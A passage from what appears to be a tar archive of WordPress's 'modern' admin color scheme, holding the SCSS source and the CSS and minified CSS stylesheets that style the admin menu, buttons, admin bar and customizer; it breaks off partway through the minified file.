.customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(101.9230769231, 126.5384615385, 238.0769230769), 0 0 2px 1px #3858e9; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #3858e9; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-right-color: #3858e9; color: #3858e9; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #3858e9; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #3858e9; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #3858e9; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #3858e9; border-style: solid; box-shadow: 0 0 0 1px #3858e9; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #3858e9; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #3858e9; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #3858e9; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(101.9230769231, 126.5384615385, 238.0769230769), 0 0 2px 1px #3858e9; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #3858e9; color: #3858e9; } css/colors/modern/colors.scss 0000644 00000000544 15233246127 0012327 0 ustar 00 @use "sass:color"; $highlight-color: #3858e9; @use "../_admin.scss" with ( $scheme-name: "modern", $base-color: #1e1e1e, $highlight-color: #3858e9, $menu-submenu-focus-text: #7b90ff, $notification-color: $highlight-color, $link: $highlight-color, $link-focus: color.adjust($highlight-color, $lightness: -10%), $custom-welcome-panel: "false" ); css/colors/modern/colors.css 0000644 00000061003 15233246127 0012141 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #3858e9; } a:hover, a:active, a:focus { color: rgb(23.6923076923, 58.1538461538, 214.3076923077); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(23.6923076923, 58.1538461538, 214.3076923077); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #1e1e1e; } .wp-core-ui .wp-ui-text-primary { color: #1e1e1e; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #3858e9; } .wp-core-ui .wp-ui-text-highlight { color: #3858e9; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #3858e9; } .wp-core-ui .wp-ui-text-notification { color: #3858e9; } .wp-core-ui .wp-ui-text-icon { color: hsl(0, 7%, 95%); } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #1e1e1e; } .view-switch a:hover:before { color: #3858e9; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #1e1e1e; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: hsl(0, 7%, 95%); } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #3858e9; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(12.15, 12.15, 12.15); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: rgb(12.15, 12.15, 12.15); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(187.5, 187.5, 187.5); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(187.5, 187.5, 187.5); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #7b90ff; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #7b90ff; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-right-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #3858e9; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #3858e9; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(12.15, 12.15, 12.15); } /* Admin Menu: collapse button */ #collapse-button { color: hsl(0, 7%, 95%); } #collapse-button:hover, #collapse-button:focus { color: #7b90ff; } /* Admin Bar */ #wpadminbar { color: #fff; background: #1e1e1e; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: hsl(0, 7%, 95%); } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #7b90ff; background: rgb(12.15, 12.15, 12.15); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #7b90ff; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #7b90ff; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(12.15, 12.15, 12.15); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(47.85, 47.85, 47.85); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(187.5, 187.5, 187.5); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: hsl(0, 7%, 95%); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #7b90ff; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #7b90ff; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: hsl(0, 7%, 95%); } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: hsl(0, 7%, 95%); } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(47.85, 47.85, 47.85); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #3858e9; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(50.4, 79.2, 209.7); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(47.85, 47.85, 47.85); background-color: rgb(47.85, 47.85, 47.85); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #7b90ff; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(187.5, 187.5, 187.5); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #3858e9; border-color: rgb(33.0384615385, 68.7307692308, 230.4615384615); } .wp-pointer .wp-pointer-content h3:before { color: #3858e9; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #3858e9; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #3858e9; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #3858e9; } .attachment.details .check { background-color: #3858e9; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #3858e9; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #3858e9; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #3858e9; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #3858e9; } .theme-section.current, .theme-filter.current { border-bottom-color: #1e1e1e; } body.more-filters-opened .more-filters { color: #fff; background-color: #1e1e1e; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #3858e9; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #3858e9; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(101.9230769231, 126.5384615385, 238.0769230769), 0 0 2px 1px #3858e9; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: hsl(0, 7%, 95%); } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #3858e9; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(12.15, 12.15, 12.15); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: hsl(0, 7%, 95%); } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #3858e9; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #3858e9; border-left-color: #3858e9; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #3858e9; border-top-color: #3858e9; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #3858e9; border-left-color: #3858e9; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #3858e9; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(101.9230769231, 126.5384615385, 238.0769230769), 0 0 2px 1px #3858e9; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #3858e9; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-left-color: #3858e9; color: #3858e9; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #3858e9; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #3858e9; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #3858e9; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #3858e9; border-style: solid; box-shadow: 0 0 0 1px #3858e9; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #3858e9; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #3858e9; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #3858e9; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(101.9230769231, 126.5384615385, 238.0769230769), 0 0 2px 1px #3858e9; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #3858e9; color: #3858e9; } css/colors/modern/colors.min.css 0000644 00000052137 15233246127 0012733 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#3858e9}a:active,a:focus,a:hover{color:rgb(23.6923076923,58.1538461538,214.3076923077)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(23.6923076923,58.1538461538,214.3076923077)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 